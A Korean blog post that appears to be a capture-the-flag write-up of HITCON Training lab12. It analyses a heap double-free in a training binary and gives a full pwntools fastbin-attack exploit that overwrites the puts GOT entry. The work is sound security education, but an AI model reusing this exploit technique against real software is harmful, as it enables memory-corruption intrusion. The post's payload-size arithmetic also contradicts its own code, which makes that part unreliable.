1. 시작하기전에...
저번 포스팅(http://bachs.tistory.com/entry/HITCON-Training-lab12-Fastbin-Attack?category=961837)에 이어 fastbin attack에 대해 포스팅 하려고합니다.
이번 글에서는 HITCON Training lab12를 풀어보겠습니다.
2. 분석
문제에서 주어진 소스코드 secretgarden.c 를 살펴보겠습니다. 소스코드가 길어 필요한 부분만 분석하겠습니다.(환경은 64bit 입니다.)
1 2 3 4 5 6 7 8 9 | struct flower{ int vaild ; //8byte char *name ; //8byte char color[24] ; //24byte }; //40byte struct flower* flowerlist[100]; //list of flowers unsigned int flowercount = 0; //count of flowers |
먼저 flower 구조체가 있습니다. flower구조체는 꽃(flower구조체)의 유효성을 검증해주는 valid 변수가 있고, 꽃의 이름을 입력받는 변수 name이 있습니다.
마지막으로 꽃의 색을 저장하는 24바이트짜리 char 배열 color 변수를 멤버로합니다. 이 구조체의 총 크기는 40바이트입니다.
전역변수로는 전체 꽃의 개 수를 세기 위한 flowercount가 있고, 꽃들을 관리할 수 있는 flower * 배열이 있습니다.
다음은 함수들을 살펴보도록 하겠습니다. 모든 함수를 다루기엔 내용이 너무 많아, 취약점이 발생 할 수 있는 함수인 add()와 del()만 살펴보겠습니다.
int add()
=> add함수의 동작은 아래와 같습니다.
전역변수 flowercount가 100보다 크면 "The garden is overflow" 출력합니다.
flowercount가 100보다 작으면
- 추가 할 flower구조체에 메모리를 할당하고 초기화 합니다.
- flower name 의 크기를 입력 받은 후 크기만큼 buf 메모리를 할당합니다.
- flower name을 입력받아 buf에 저장합니다.
- flower 구조체 name 멤버변수에 buf 포인터를 대입합니다.
- flower 구조체 color 멤버변수에 입력 받습니다.
- flower 구조체 valid 변수 1로 setting합니다.
- 전역변수 flowerlist를 검색하여 비어있는 곳에 생성한 flower 를 추가합니다.
- 전역변수 flowercount를 1 증가시킨 후, "Successful !" 출력합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | int add(){ struct flower *newflower = NULL ; char *buf = NULL ; unsigned size =0; unsigned index ; if(flowercount < 100){ newflower = malloc(sizeof(struct flower)); memset(newflower,0,sizeof(struct flower)); printf("Length of the name :"); if(scanf("%u",&size)== EOF) exit(-1); buf = (char*)malloc(size); if(!buf){ puts("Alloca error !!"); exit(-1); } printf("The name of flower :"); read(0,buf,size); newflower->name = buf ; printf("The color of the flower :"); scanf("%23s",newflower->color); newflower->vaild = 1 ; for(index = 0 ; index < 100 ; index++ ){ if(!flowerlist[index]){ flowerlist[index] = newflower ; break ; } } flowercount++ ; puts("Successful !"); }else{ puts("The garden is overflow"); } } |
int del()
flowercount가 0이면 "No flower in the garden" 출력합니다.
flowercount가 0이 아니면 "Which flower do you want to remove from the garden:" 를 출력 한 후 지울 index를 입력받습니다.
입력받은 인덱스의 유효성 검사(0 ~ 100의 범위 외) 이거나 해당 인덱스에 값이 없는 경우
- "Invalid choice" 출력 후 프로그램을 종료합니다.
위의 경우가 아니면
- 해당 인덱스의 구조체 valid 멤버변수를 0으로 setting합니다.
- 해당 인덱스의 구조체 name 멤버변수의 메모리를 해제합니다.
- "Successful" 출력
- 구조체는 메모리 해제하지 않으며, flowerlist에서도 지우지 않습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | int del(){ unsigned int index ; if(!flowercount){ puts("No flower in the garden"); }else{ printf("Which flower do you want to remove from the garden:"); scanf("%d",&index); if(index < 0 ||index >= 100 || !flowerlist[index]){ puts("Invalid choice"); return 0 ; } (flowerlist[index])->vaild = 0 ; free((flowerlist[index])->name); puts("Successful"); } } |
fastbin attack이 가능한 조건은 아래와 같습니다.
- 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야한다.
- 공격자에 의해 해제된 Fast chunk를 한번 더 해제 할 수 있어야 한다.(Double Free Bug)
- 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 한다.
- 할당 받고자 하는 메모리 영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야한다.
소스코드를 분석해 보았을 때, add()함수 내에서 크기 값을 입력하여 Fast chunk의 할당이 자유롭고 할당된 메모리 내에 값을 쓸 수 있으며
del()함수를 통해 메모리 해제 역시 자유롭습니다. 앞선 포스팅에서 봤듯이 메모리를 할당한 후 a -> b -> a의 형태로 메모리 해제를 하면,
fastbin attack이 가능 할 것으로 보입니다.
3. Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' context.terminal = ['terminator','-x','bash','-c'] r = process('./secretgarden') def raiseflower(length,name,color): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name) r.recvuntil(":") r.sendline(color) def visit(): r.recvuntil(":") r.sendline("2") def remove(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) def clean(): r.recvuntil(":") r.sendline("4") magic = 0x400c7b fake_chunk = 0x601ffa raiseflower(80,"tulip","red")#0 raiseflower(80,"rose","blue")#1 remove(0) remove(1) remove(0) raiseflower(80,p64(fake_chunk),"blue") raiseflower(80,"sunflower","red") raiseflower(80,"bach","green") raiseflower(80, "a"*6 + p64(0) + p64(magic)*2 ,"red")#malloc in fake_chunk r.interactive() |
exploit 코드를 살펴보겠습니다.
코드의 메인 아이디어는 호출 하고 싶은 함수(magic)의 주소를 적어두고, 이 주소를 puts함수의 got에 써주어 exploit을 하려고합니다.
첫 번째로 35 ~ 39라인 에서 메모리를 두 개 할당 하여 a->b->a의 순서로 메모리를 해제하였습니다.
그리고 puts의 got(0x602020)에 써주기 위해 fake_chunk를 0x601ffa를 선정하였는데 이유는 80바이트(0x50) + chunk header(0x10)값이 적힌 곳에
써주어야 하기 때문입니다. 이 부분이 이해가 안간다면 앞에 포스팅 한 글에서 chunk사이즈를 맞춰주어야 한다는 부분을 다시 보고오시기 바랍니다.
0x601ffa의 주소를 출력한 화면입니다. 0x601ffa + 0x8에 0xe150000000000060 값이 쓰여져 있습니다.
이 곳에 설명한대로라면 0x0000000000000060 값이 써져있어야 하지만 상위 바이트에 다른 값이 추가로 더 붙어있음을 알 수 있습니다.
운영체제에서 검사하는 메모리의 크기는 하위 4바이트를 이용해 확인하기 때문에 상위 4바이트에 있는 값은 무시할 수 있습니다.
이에 대해 자세한 내용은 http://veritas501.space/2017/05/23/HITCON-training%20writeup/ 의 lab12파트를 확인해주시기바랍니다.
따라서 0x601ffa를 fake_chunk의 주소로 선정해주어 메모리를 할당 받고 사용할 수 있는 주소는 0x60200a부터입니다.
0x602020에 값을 덮어쓰기 위해서는 0x602020 - 0x601ffa = 0x16(22) 이고, 따라서 앞의 dummy가 22바이트 필요합니다.
43라인에서 "a"*14 + p64(magic)*2 를 하여(6byte + 8byte + 16byte) 26byte를 써 magic함수가 0x602020에 써질 수 있도록
페이로드를 작성하였습니다.
끗!
'Study > Pwnable' 카테고리의 다른 글
[how2heap] Poison NULL Byte (2) | 2018.03.07 |
---|---|
[HITCON Training] lab14 / unsorted bin attack (2) | 2018.02.27 |
[HITCON Training] lab12 / Fastbin attack - 1 (0) | 2018.02.21 |
[HITCON Training] lab10 / FirstFit, Use After Free (0) | 2017.12.22 |
[HITCON Training] lab8 / FormatString (0) | 2017.12.19 |